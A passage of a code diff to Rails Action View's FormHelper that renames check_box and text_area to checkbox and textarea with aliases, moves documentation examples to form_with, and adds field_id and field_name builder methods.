+      #   checkbox("eula", "accepted", { class: 'eula_check' }, "yes", "no")
       #   # => <input name="eula[accepted]" type="hidden" value="no" />
       #   #    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
-      def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
+      def checkbox(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
         Tags::CheckBox.new(object_name, method, self, checked_value, unchecked_value, options).render
       end
+      alias_method :check_box, :checkbox
 
       # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
       # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
@@ -1287,11 +1355,11 @@ def check_box(object_name, method, options = {}, checked_value = "1", unchecked_
       # To force the radio button to be checked pass <tt>checked: true</tt> in the
       # +options+ hash. You may pass HTML options there as well.
       #
-      #   # Let's say that @post.category returns "rails":
-      #   radio_button("post", "category", "rails")
-      #   radio_button("post", "category", "java")
-      #   # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
-      #   #    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+      #   # Let's say that @article.category returns "rails":
+      #   radio_button("article", "category", "rails")
+      #   radio_button("article", "category", "java")
+      #   # => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
+      #   #    <input type="radio" id="article_category_java" name="article[category]" value="java" />
       #
       #   # Let's say that @user.receive_newsletter returns "no":
       #   radio_button("user", "receive_newsletter", "yes")
@@ -1377,13 +1445,16 @@ def date_field(object_name, method, options = {})
       # Returns a text_field of type "time".
       #
       # The default value is generated by trying to call +strftime+ with "%T.%L"
-      # on the object's value. It is still possible to override that
-      # by passing the "value" option.
+      # on the object's value. If you pass <tt>include_seconds: false</tt>, it will be
+      # formatted by trying to call +strftime+ with "%H:%M" on the object's value.
+      # It is also possible to override this by passing the "value" option.
+      #
+      # ==== Options
       #
-      # === Options
-      # * Accepts same options as time_field_tag
+      # Supports the same options as FormTagHelper#time_field_tag.
+      #
+      # ==== Examples
       #
-      # === Example
       #   time_field("task", "started_at")
       #   # => <input id="task_started_at" name="task[started_at]" type="time" />
       #
@@ -1399,6 +1470,12 @@ def date_field(object_name, method, options = {})
       #   time_field("task", "started_at", min: "01:00:00")
       #   # => <input id="task_started_at" name="task[started_at]" type="time" min="01:00:00.000" />
       #
+      # By default, provided times will be formatted including seconds. You can render just the hour
+      # and minute by passing <tt>include_seconds: false</tt>. Some browsers will render a simpler UI
+      # if you exclude seconds in the timestamp format.
+      #
+      #   time_field("task", "started_at", value: Time.now, include_seconds: false)
+      #   # => <input id="task_started_at" name="task[started_at]" type="time" value="01:00" />
       def time_field(object_name, method, options = {})
         Tags::TimeField.new(object_name, method, self, options).render
       end
@@ -1428,6 +1505,12 @@ def time_field(object_name, method, options = {})
       #   datetime_field("user", "born_on", min: "2014-05-20T00:00:00")
       #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
       #
+      # By default, provided datetimes will be formatted including seconds. You can render just the date, hour,
+      # and minute by passing <tt>include_seconds: false</tt>.
+      #
+      #   @user.born_on = Time.current
+      #   datetime_field("user", "born_on", include_seconds: false)
+      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="2014-05-20T14:35" />
       def datetime_field(object_name, method, options = {})
         Tags::DatetimeLocalField.new(object_name, method, self, options).render
       end
@@ -1489,7 +1572,8 @@ def email_field(object_name, method, options = {})
       # Returns an input tag of type "number".
       #
       # ==== Options
-      # * Accepts same options as number_field_tag
+      #
+      # Supports the same options as FormTagHelper#number_field_tag.
       def number_field(object_name, method, options = {})
         Tags::NumberField.new(object_name, method, self, options).render
       end
@@ -1497,37 +1581,30 @@ def number_field(object_name, method, options = {})
       # Returns an input tag of type "range".
       #
       # ==== Options
-      # * Accepts same options as range_field_tag
+      #
+      # Supports the same options as FormTagHelper#range_field_tag.
       def range_field(object_name, method, options = {})
         Tags::RangeField.new(object_name, method, self, options).render
       end
 
+      def _object_for_form_builder(object) # :nodoc:
+        object.is_a?(Array) ? object.last : object
+      end
+
       private
-        def html_options_for_form_with(url_for_options = nil, model = nil, html: {}, local: false,
-          skip_enforcing_utf8: false, **options)
-          html_options = options.slice(:id, :class, :multipart, :method, :data).merge(html)
+        def html_options_for_form_with(url_for_options = nil, model = nil, html: {}, local: !form_with_generates_remote_forms,
+          skip_enforcing_utf8: nil, **options)
+          html_options = options.slice(:id, :class, :multipart, :method, :data, :authenticity_token).merge!(html)
+          html_options[:remote] = html.delete(:remote) || !local
           html_options[:method] ||= :patch if model.respond_to?(:persisted?) && model.persisted?
-          html_options[:enforce_utf8] = !skip_enforcing_utf8
-
-          html_options[:enctype] = "multipart/form-data" if html_options.delete(:multipart)
-
-          # The following URL is unescaped, this is just a hash of options, and it is the
-          # responsibility of the caller to escape all the values.
-          html_options[:action] = url_for(url_for_options || {})
-          html_options[:"accept-charset"] = "UTF-8"
-          html_options[:"data-remote"] = true unless local
-
-          if !local && !embed_authenticity_token_in_remote_forms &&
-            html_options[:authenticity_token].blank?
-            # The authenticity token is taken from the meta tag in this case
-            html_options[:authenticity_token] = false
-          elsif html_options[:authenticity_token] == true
-            # Include the default authenticity_token, which is only generated when its set to nil,
-            # but we needed the true value to override the default of no authenticity_token on data-remote.
-            html_options[:authenticity_token] = nil
+          if skip_enforcing_utf8.nil?
+            if options.key?(:enforce_utf8)
+              html_options[:enforce_utf8] = options[:enforce_utf8]
+            end
+          else
+            html_options[:enforce_utf8] = !skip_enforcing_utf8
           end
-
-          html_options.stringify_keys!
+          html_options_for_form(url_for_options.nil? ? {} : url_for_options, html_options)
         end
 
         def instantiate_builder(record_name, record_object, options)
@@ -1550,20 +1627,23 @@ def default_form_builder_class
         end
     end
 
+    # = Action View Form Builder
+    #
     # A +FormBuilder+ object is associated with a particular model object and
     # allows you to generate fields associated with the model object. The
-    # +FormBuilder+ object is yielded when using +form_for+ or +fields_for+.
+    # +FormBuilder+ object is yielded when using
+    # {form_with}[rdof-ref:ActionView::Helpers::FormHelper#form_with] or #fields_for.
     # For example:
     #
-    #   <%= form_for @person do |person_form| %>
+    #   <%= form_with model: @person do |person_form| %>
     #     Name: <%= person_form.text_field :name %>
-    #     Admin: <%= person_form.check_box :admin %>
+    #     Admin: <%= person_form.checkbox :admin %>
     #   <% end %>
     #
     # In the above block, a +FormBuilder+ object is yielded as the
     # +person_form+ variable. This allows you to generate the +text_field+
-    # and +check_box+ fields by specifying their eponymous methods, which
-    # modify the underlying template and associates the +@person+ model object
+    # and +checkbox+ fields by specifying their eponymous methods, which
+    # modify the underlying template and associates the <tt>@person</tt> model object
     # with the form.
     #
     # The +FormBuilder+ object can be thought of as serving as a proxy for the
@@ -1591,7 +1671,7 @@ def default_form_builder_class
     #
     # The +div_radio_button+ code from above can now be used as follows:
     #
-    #   <%= form_for @person, :builder => MyFormBuilder do |f| %>
+    #   <%= form_with model: @person, :builder => MyFormBuilder do |f| %>
     #     I am a child: <%= f.div_radio_button(:admin, "child") %>
     #     I am an adult: <%= f.div_radio_button(:admin, "adult") %>
     #   <% end -%>
@@ -1602,14 +1682,15 @@ class FormBuilder
       include ModelNaming
 
       # The methods which wrap a form helper call.
-      class_attribute :field_helpers
-      self.field_helpers = [:fields_for, :fields, :label, :text_field, :password_field,
-                            :hidden_field, :file_field, :text_area, :check_box,
-                            :radio_button, :color_field, :search_field,
-                            :telephone_field, :phone_field, :date_field,
-                            :time_field, :datetime_field, :datetime_local_field,
-                            :month_field, :week_field, :url_field, :email_field,
-                            :number_field, :range_field]
+      class_attribute :field_helpers, default: [
+        :fields_for, :fields, :label, :text_field, :password_field,
+        :hidden_field, :file_field, :textarea, :checkbox,
+        :radio_button, :color_field, :search_field,
+        :telephone_field, :phone_field, :date_field,
+        :time_field, :datetime_field, :datetime_local_field,
+        :month_field, :week_field, :url_field, :email_field,
+        :number_field, :range_field
+      ]
 
       attr_accessor :object_name, :object, :options
 
@@ -1640,11 +1721,12 @@ def initialize(object_name, object, template, options)
         @nested_child_index = {}
         @object_name, @object, @template, @options = object_name, object, template, options
         @default_options = @options ? @options.slice(:index, :namespace, :skip_default_ids, :allow_method_names_outside_object) : {}
+        @default_html_options = @default_options.except(:skip_default_ids, :allow_method_names_outside_object)
 
         convert_to_legacy_options(@options)
 
-        if @object_name.to_s.match(/\[\]$/)
-          if (object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}")) && object.respond_to?(:to_param)
+        if @object_name&.end_with?("[]")
+          if (object ||= @template.instance_variable_get("@#{@object_name[0..-3]}")) && object.respond_to?(:to_param)
             @auto_index = object.to_param
           else
             raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
@@ -1655,40 +1737,324 @@ def initialize(object_name, object, template, options)
         @index = options[:index] || options[:child_index]
       end
 
-      (field_helpers - [:label, :check_box, :radio_button, :fields_for, :fields, :hidden_field, :file_field]).each do |selector|
-        class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-          def #{selector}(method, options = {})  # def text_field(method, options = {})
-            @template.send(                      #   @template.send(
-              #{selector.inspect},               #     "text_field",
-              @object_name,                      #     @object_name,
-              method,                            #     method,
-              objectify_options(options))        #     objectify_options(options))
-          end                                    # end
-        RUBY_EVAL
+      # Generate an HTML <tt>id</tt> attribute value.
+      #
+      # return the <tt><form></tt> element's <tt>id</tt> attribute.
+      #
+      #   <%= form_with model: @article do |f| %>
+      #     <%# ... %>
+      #
+      #     <% content_for :sticky_footer do %>
+      #       <%= form.button(form: f.id) %>
+      #     <% end %>
+      #   <% end %>
+      #
+      # In the example above, the <tt>:sticky_footer</tt> content area will
+      # exist outside of the <tt><form></tt> element. By declaring the
+      # <tt>form</tt> HTML attribute, we hint to the browser that the generated
+      # <tt><button></tt> element should be treated as the <tt><form></tt>
+      # element's submit button, regardless of where it exists in the DOM.
+      def id
+        options.dig(:html, :id) || options[:id]
+      end
+
+      # Generate an HTML <tt>id</tt> attribute value for the given field
+      #
+      # Return the value generated by the <tt>FormBuilder</tt> for the given
+      # attribute name.
+      #
+      #   <%= form_with model: @article do |f| %>
+      #     <%= f.label :title %>
+      #     <%= f.text_field :title, aria: { describedby: f.field_id(:title, :error) } %>
+      #     <%= tag.span("is blank", id: f.field_id(:title, :error) %>
+      #   <% end %>
+      #
+      # In the example above, the <tt><input type="text"></tt> element built by
+      # the call to #text_field declares an
+      # <tt>aria-describedby</tt> attribute referencing the <tt><span></tt>
+      # element, sharing a common <tt>id</tt> root (<tt>article_title</tt>, in this
+      # case).
+      def field_id(method, *suffixes, namespace: @options[:namespace], index: @options[:index])
+        @template.field_id(@object_name, method, *suffixes, namespace: namespace, index: index)
+      end
+
+      # Generate an HTML <tt>name</tt> attribute value for the given name and
+      # field combination
+      #
+      # Return the value generated by the <tt>FormBuilder</tt> for the given
+      # attribute name.
+      #
+      #   <%= form_with model: @article do |f| %>
+      #     <%= f.text_field :title, name: f.field_name(:title, :subtitle) %>
+      #     <%# => <input type="text" name="article[title][subtitle]"> %>
+      #   <% end %>
+      #
+      #   <%= form_with model: @article do |f| %>
+      #     <%= f.text_field :tag, name: f.field_name(:tag, multiple: true) %>
+      #     <%# => <input type="text" name="article[tag][]"> %>
+      #   <% end %>
+      #
+      def field_name(method, *methods, multiple: false, index: @options[:index])
+        object_name = @options.fetch(:as) { @object_name }
+
+        @template.field_name(object_name, method, *methods, index: index, multiple: multiple)
       end
 
-      # Creates a scope around a specific model object like form_for, but
-      # doesn't create the form tags themselves. This makes fields_for suitable
-      # for specifying additional model objects in the same form.
+      ##
+      # :method: text_field
+      #
+      # :call-seq: text_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#text_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.text_field :name %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: password_field
+      #
+      # :call-seq: password_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#password_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.password_field :password %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: textarea
+      #
+      # :call-seq: textarea(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#textarea for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.textarea :detail %>
+      #   <% end %>
       #
-      # Although the usage and purpose of +fields_for+ is similar to +form_for+'s,
-      # its method signature is slightly different. Like +form_for+, it yields
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: color_field
+      #
+      # :call-seq: color_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#color_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.color_field :favorite_color %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: search_field
+      #
+      # :call-seq: search_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#search_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.search_field :name %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: telephone_field
+      #
+      # :call-seq: telephone_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#telephone_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.telephone_field :phone %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: phone_field
+      #
+      # :call-seq: phone_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#phone_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.phone_field :phone %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: date_field
+      #
+      # :call-seq: date_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#date_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.date_field :born_on %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: time_field
+      #
+      # :call-seq: time_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#time_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.time_field :born_at %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: datetime_field
+      #
+      # :call-seq: datetime_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#datetime_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.datetime_field :graduation_day %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: datetime_local_field
+      #
+      # :call-seq: datetime_local_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#datetime_local_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.datetime_local_field :graduation_day %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: month_field
+      #
+      # :call-seq: month_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#month_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.month_field :birthday_month %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: week_field
+      #
+      # :call-seq: week_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#week_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.week_field :birthday_week %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: url_field
+      #
+      # :call-seq: url_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#url_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.url_field :homepage %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: email_field
+      #
+      # :call-seq: email_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#email_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.email_field :address %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: number_field
+      #
+      # :call-seq: number_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#number_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.number_field :age %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ##
+      # :method: range_field
+      #
+      # :call-seq: range_field(method, options = {})
+      #
+      # Wraps ActionView::Helpers::FormHelper#range_field for form builders:
+      #
+      #   <%= form_with model: @user do |f| %>
+      #     <%= f.range_field :age %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+
+      ActiveSupport::CodeGenerator.batch(self, __FILE__, __LINE__) do |code_generator|
+        (field_helpers - [:label, :checkbox, :radio_button, :fields_for, :fields, :hidden_field, :file_field]).each do |selector|
+            code_generator.class_eval do |batch|
+              batch <<
+                "def #{selector}(method, options = {})" <<
+                "  @template.#{selector}(@object_name, method, objectify_options(options))" <<
+                "end"
+            end
+          end
+      end
+      alias_method :text_area, :textarea
+
+      # Creates a scope around a specific model object like #form_with, but
+      # doesn't create the form tags themselves. This makes +fields_for+
+      # suitable for specifying additional model objects in the same form.
+      #
+      # Although the usage and purpose of +fields_for+ is similar to #form_with's,
+      # its method signature is slightly different. Like #form_with, it yields
       # a FormBuilder object associated with a particular model object to a block,
       # and within the block allows methods to be called on the builder to
       # generate fields associated with the model object. Fields may reflect
       # a model object in two ways - how they are named (hence how submitted
       # values appear within the +params+ hash in the controller) and what
-      # default values are shown when the form the fields appear in is first
-      # displayed. In order for both of these features to be specified independently,
+      # default values are shown when the form fields are first displayed.
+      # In order for both of these features to be specified independently,
       # both an object name (represented by either a symbol or string) and the
       # object itself can be passed to the method separately -
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     First name: <%= person_form.text_field :first_name %>
       #     Last name : <%= person_form.text_field :last_name %>
       #
       #     <%= fields_for :permission, @person.permission do |permission_fields| %>
-      #       Admin?  : <%= permission_fields.check_box :admin %>
+      #       Admin?  : <%= permission_fields.checkbox :admin %>
       #     <% end %>
       #
       #     <%= person_form.submit %>
@@ -1705,7 +2071,7 @@ def #{selector}(method, options = {})  # def text_field(method, options = {})
       # object to +fields_for+ -
       #
       #   <%= fields_for :permission do |permission_fields| %>
-      #     Admin?: <%= permission_fields.check_box :admin %>
+      #     Admin?: <%= permission_fields.checkbox :admin %>
       #   <% end %>
       #
       # ...in which case, if <tt>:permission</tt> also happens to be the name of an
@@ -1717,21 +2083,33 @@ def #{selector}(method, options = {})  # def text_field(method, options = {})
       # name has been omitted) -
       #
       #   <%= fields_for @person.permission do |permission_fields| %>
-      #     Admin?: <%= permission_fields.check_box :admin %>
+      #     Admin?: <%= permission_fields.checkbox :admin %>
       #   <% end %>
       #
       # and +fields_for+ will derive the required name of the field from the
       # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
       # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
       #
-      # Note: This also works for the methods in FormOptionHelper and
+      # Note: This also works for the methods in FormOptionsHelper and
       # DateHelper that are designed to work with an object as base, like
-      # FormOptionHelper#collection_select and DateHelper#datetime_select.
+      # FormOptionsHelper#collection_select and DateHelper#datetime_select.
+      #
+      # +fields_for+ tries to be smart about parameters, but it can be confused if both
+      # name and value parameters are provided and the provided value has the shape of an
+      # option Hash. To remove the ambiguity, explicitly pass an option Hash, even if empty.
+      #
+      #   <%= form_with model: @person do |person_form| %>
+      #     ...
+      #     <%= fields_for :permission, @person.permission, {} do |permission_fields| %>
+      #       Admin?: <%= checkbox_tag permission_fields.field_name(:admin), @person.permission[:admin] %>
+      #     <% end %>
+      #     ...
+      #   <% end %>
       #
       # === Nested Attributes Examples
       #
       # When the object belonging to the current scope has a nested attribute
-      # writer for a certain attribute, fields_for will yield a new scope
+      # writer for a certain attribute, +fields_for+ will yield a new scope
       # for that attribute. This allows you to create forms that set or change
       # the attributes of a parent object and its associations in one go.
       #
@@ -1762,9 +2140,9 @@ def #{selector}(method, options = {})  # def text_field(method, options = {})
       #     end
       #   end
       #
-      # This model can now be used with a nested fields_for, like so:
+      # This model can now be used with a nested +fields_for+, like so:
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :address do |address_fields| %>
       #       Street  : <%= address_fields.text_field :street %>
@@ -1792,13 +2170,13 @@ def #{selector}(method, options = {})  # def text_field(method, options = {})
       #
       # Now, when you use a form element with the <tt>_destroy</tt> parameter,
       # with a value that evaluates to +true+, you will destroy the associated
-      # model (eg. 1, '1', true, or 'true'):
+      # model (e.g. 1, '1', true, or 'true'):
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :address do |address_fields| %>
       #       ...
-      #       Delete: <%= address_fields.check_box :_destroy %>
+      #       Delete: <%= address_fields.checkbox :_destroy %>
       #     <% end %>
       #     ...
       #   <% end %>
@@ -1820,7 +2198,7 @@ def #{selector}(method, options = {})  # def text_field(method, options = {})
       #   end
       #
       # Note that the <tt>projects_attributes=</tt> writer method is in fact
-      # required for fields_for to correctly identify <tt>:projects</tt> as a
+      # required for +fields_for+ to correctly identify <tt>:projects</tt> as a
       # collection, and the correct indices to be set in the form markup.
       #
       # When projects is already an association on Person you can use
@@ -1831,11 +2209,11 @@ def #{selector}(method, options = {})  # def text_field(method, options = {})
       #     accepts_nested_attributes_for :projects
       #   end
       #
-      # This model can now be used with a nested fields_for. The block given to
-      # the nested fields_for call will be repeated for each instance in the
+      # This model can now be used with a nested +fields_for+. The block given to
+      # the nested +fields_for+ call will be repeated for each instance in the
       # collection:
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :projects do |project_fields| %>
       #       <% if project_fields.object.active? %>
@@ -1847,7 +2225,7 @@ def #{selector}(method, options = {})  # def text_field(method, options = {})
       #
       # It's also possible to specify the instance to be used:
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <% @person.projects.each do |project| %>
       #       <% if project.active? %>
@@ -1861,7 +2239,7 @@ def #{selector}(method, options = {})  # def text_field(method, options = {})
       #
       # Or a collection to be used:
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
       #       Name: <%= project_fields.text_field :name %>
@@ -1881,21 +2259,21 @@ def #{selector}(method, options = {})  # def text_field(method, options = {})
       # This will allow you to specify which models to destroy in the
       # attributes hash by adding a form element for the <tt>_destroy</tt>
       # parameter with a value that evaluates to +true+
-      # (eg. 1, '1', true, or 'true'):
+      # (e.g. 1, '1', true, or 'true'):
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :projects do |project_fields| %>
-      #       Delete: <%= project_fields.check_box :_destroy %>
+      #       Delete: <%= project_fields.checkbox :_destroy %>
       #     <% end %>
       #     ...
       #   <% end %>
       #
       # When a collection is used you might want to know the index of each
-      # object into the array. For this purpose, the <tt>index</tt> method
+      # object in the array. For this purpose, the <tt>index</tt> method
       # is available in the FormBuilder object.
       #
-      #   <%= form_for @person do |person_form| %>
+      #   <%= form_with model: @person do |person_form| %>
       #     ...
       #     <%= person_form.fields_for :projects do |project_fields| %>
       #       Project #<%= project_fields.index %>
@@ -1904,12 +2282,13 @@ def #{selector}(method, options = {})  # def text_field(method, options = {})
       #     ...
       #   <% end %>
       #
-      # Note that fields_for will automatically generate a hidden field
+      # Note that +fields_for+ will automatically generate a hidden field
       # to store the ID of the record. There are circumstances where this
       # hidden field is not needed and you can pass <tt>include_id: false</tt>
-      # to prevent fields_for from rendering it automatically.
-      def fields_for(record_name, record_object = nil, fields_options = {}, &block)
-        fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
+      # to prevent +fields_for+ from rendering it automatically.
+      def fields_for(record_name, record_object = nil, fields_options = nil, &block)
+        fields_options, record_object = record_object, nil if fields_options.nil? && record_object.is_a?(Hash) && record_object.extractable_options?
+        fields_options ||= {}
         fields_options[:builder] ||= options[:builder]
         fields_options[:namespace] = options[:namespace]
         fields_options[:parent_builder] = self
@@ -1920,7 +2299,7 @@ def fields_for(record_name, record_object = nil, fields_options = {}, &block)
             return fields_for_with_nested_attributes(record_name, record_object, fields_options, block)
           end
         else
-          record_object = record_name.is_a?(Array) ? record_name.last : record_name
+          record_object = @template._object_for_form_builder(record_name)
           record_name   = model_name_from_record_or_class(record_object).param_key
         end
 
@@ -1928,15 +2307,14 @@ def fields_for(record_name, record_object = nil, fields_options = {}, &block)
         index = if options.has_key?(:index)
           options[:index]
         elsif defined?(@auto_index)
-          object_name = object_name.to_s.sub(/\[\]$/, "")
+          object_name = object_name.to_s.delete_suffix("[]")
           @auto_index
         end
 
         record_name = if index
           "#{object_name}[#{index}][#{record_name}]"
-        elsif record_name.to_s.end_with?("[]")
-          record_name = record_name.to_s.sub(/(.*)\[\]$/, "[\\1][#{record_object.id}]")
-          "#{object_name}#{record_name}"
+        elsif record_name.end_with?("[]")
+          "#{object_name}[#{record_name[0..-3]}][#{record_object.id}]"
         else
           "#{object_name}[#{record_name}]"
         end
@@ -1945,64 +2323,84 @@ def fields_for(record_name, record_object = nil, fields_options = {}, &block)
         @template.fields_for(record_name, record_object, fields_options, &block)
       end
 
-      # See the docs for the <tt>ActionView::FormHelper.fields</tt> helper method.
+      # See the docs for the ActionView::Helpers::FormHelper#fields helper method.
       def fields(scope = nil, model: nil, **options, &block)
         options[:allow_method_names_outside_object] = true
-        options[:skip_default_ids] = true
+        options[:skip_default_ids] = !FormHelper.form_with_generates_ids
 
         convert_to_legacy_options(options)
 
-        fields_for(scope || model, model, **options, &block)
+        fields_for(scope || model, model, options, &block)
       end
 
       # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
       # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
-      # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
+      # is found in the current I18n locale (through <tt>helpers.label.<modelname>.<attribute></tt>) or you specify it explicitly.
       # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
       # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
       # target labels for radio_button tags (where the value is used in the ID of the input tag).
       #
       # ==== Examples
       #   label(:title)
-      #   # => <label for="post_title">Title</label>
+      #   # => <label for="article_title">Title</label>
       #
       # You can localize your labels based on model and attribute names.
       # For example you can define the following in your locale (e.g. en.yml)
       #
       #   helpers:
       #     label:
-      #       post:
+      #       article:
       #         body: "Write your entire text here"
       #
       # Which then will result in
       #
       #   label(:body)
-      #   # => <label for="post_body">Write your entire text here</label>
+      #   # => <label for="article_body">Write your entire text here</label>
       #
       # Localization can also be based purely on the translation of the attribute-name
       # (if you are using ActiveRecord):
       #
       #   activerecord:
       #     attributes:
-      #       post:
+      #       article:
       #         cost: "Total cost"
       #
+      # <code></code>
+      #
       #   label(:cost)
-      #   # => <label for="post_cost">Total cost</label>
+      #   # => <label for="article_cost">Total cost</label>
       #
       #   label(:title, "A short title")
-      #   # => <label for="post_title">A short title</label>
+      #   # => <label for="article_title">A short title</label>
       #
       #   label(:title, "A short title", class: "title_label")
-      #   # => <label for="post_title" class="title_label">A short title</label>
+      #   # => <label for="article_title" class="title_label">A short title</label>
+      #
+      #   label(:privacy, "Public Article", value: "public")
+      #   # => <label for="article_privacy_public">Public Article</label>
+      #
+      #   label(:cost) do |translation|
+      #     content_tag(:span, translation, class: "cost_label")
+      #   end
+      #   # => <label for="article_cost"><span class="cost_label">Total cost</span></label>
       #
-      #   label(:privacy, "Public Post", value: "public")
-      #   # => <label for="post_privacy_public">Public Post</label>
+      #   label(:cost) do |builder|
+      #     content_tag(:span, builder.translation, class: "cost_label")
+      #   end
+      #   # => <label for="article_cost"><span class="cost_label">Total cost</span></label>
+      #
+      #   label(:cost) do |builder|
+      #     content_tag(:span, builder.translation, class: [
+      #       "cost_label",
+      #       ("error_label" if builder.object.errors.include?(:cost))
+      #     ])
+      #   end
+      #   # => <label for="article_cost"><span class="cost_label error_label">Total cost</span></label>
       #
       #   label(:terms) do
       #     raw('Accept <a href="/terms">Terms</a>.')
       #   end
-      #   # => <label for="post_terms">Accept <a href="/terms">Terms</a>.</label>
+      #   # => <label for="article_terms">Accept <a href="/terms">Terms</a>.</label>
       def label(method, text = nil, options = {}, &block)
         @template.label(@object_name, method, text, objectify_options(options), &block)
       end
@@ -2013,6 +2411,12 @@ def label(method, text = nil, options = {}, &block)
       # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
       # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
       #
+      # ==== Options
+      #
+      # * Any standard HTML attributes for the tag can be passed in, for example +:class+.
+      # * <tt>:checked</tt> - +true+ or +false+ forces the state of the checkbox to be checked or not.
+      # * <tt>:include_hidden</tt> - If set to false, the auxiliary hidden field described below will not be generated.
+      #
       # ==== Gotcha
       #
       # The HTML specification says unchecked check boxes are not successful, and
